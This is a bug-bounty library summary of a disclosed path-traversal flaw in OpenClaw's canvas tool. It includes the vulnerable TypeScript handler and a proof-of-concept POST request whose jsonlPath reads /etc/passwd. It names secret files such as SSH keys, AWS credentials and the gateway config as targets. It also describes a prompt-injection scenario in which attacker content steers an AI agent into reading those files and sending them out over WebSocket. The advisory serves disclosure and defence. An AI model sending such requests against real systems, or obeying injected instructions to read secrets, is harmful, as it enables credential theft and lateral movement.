# OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

OpenClaw canvas tool's a2ui_push action passed jsonlPath straight to fs.readFile with no validation, letting an authenticated agent read arbitrary files and forward them to a node client.

- Payout: Research
- Severity: high
- Program: OpenClaw
- Found by: zdi-disclosures
- Disclosed: 2026-03-02
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jq4x-98m3-ggq6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jq4x-98m3-ggq6
- Tags: area:ai domain:ai domain:web impact:data-leak kind:research platform:ghsa sev:high tech:nodejs tech:websocket technique:source-review vuln:info-disclosure vuln:path-traversal vuln:prompt-injection

**Target:** OpenClaw gateway HTTP /tools/invoke canvas tool (Node.js)
**Root cause:** The a2ui_push handler in src/agents/tools/canvas-tool.ts passes the user-supplied jsonlPath directly to fs.readFile() after only .trim(), with no allowlist, canonicalization, traversal check, or extension restriction.
**Steps:**
1. Start gateway and node containers via `docker compose up -d --wait` (gateway on port 18701, node WebSocket client logging received data).
2. Send authenticated request: `POST /tools/invoke` with `Authorization: Bearer <agent's token>` and body `{"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}`.
3. Gateway reads /etc/passwd via fs.readFile() and forwards contents to node via `canvas.a2ui.pushJSONL`, returning `{ ok: true }`.
4. Observe exfiltrated file contents in node container logs.
**How found:** Code review of the canvas tool's a2ui_push handler revealed jsonlPath flowed into fs.readFile() with only a .trim() and no path validation, canonicalization, or directory restriction.
**Exploitation:** An attacker who controls content processed by the AI agent (prompt injection) directs the agent, which holds the gateway token, to invoke the canvas tool with an arbitrary jsonlPath such as /etc/passwd, ~/.ssh/id_rsa, ~/.aws/credentials, or openclaw.json (containing the gateway token). The gateway reads the file and pushes it over WebSocket to an attacker-connected node, achieving exfiltration.
**Escalation:** Reading openclaw.json yields the gateway token itself, enabling further control; SSH keys and cloud credentials enable lateral movement.
**Insight:** In AI agent orchestration tools, tool parameters that name filesystem paths are prime prompt-injection sinks: any agent holding a gateway token can be steered to read secrets. Audit every fs.readFile/readFileSync call reachable from tool args for missing realpath/allowlist checks, and note that forwarding to a node client turns local file read into remote exfiltration.

## Proof of concept (copied exactly from the original report)

**POST /tools/invoke reading /etc/passwd via jsonlPath**

```
POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json

{
  "tool": "canvas",
  "args": {
    "action": "a2ui_push",
    "jsonlPath": "/etc/passwd",
    "node": "node-host"
```

**Vulnerable fs.readFile without path validation**

```
case "a2ui_push": {
  const jsonl =
    typeof params.jsonl === "string" && params.jsonl.trim()
      ? params.jsonl
      : typeof params.jsonlPath === "string" && params.jsonlPath.trim()
        ? await fs.readFile(params.jsonlPath.trim(), "utf8")  // <-- NO PATH VALIDATION
        : "";
  if (!jsonl.trim()) {
    throw new Error("jsonl or jsonlPath required");
  }
  await invoke("canvas.a2ui.pushJSONL", { jsonl });
```

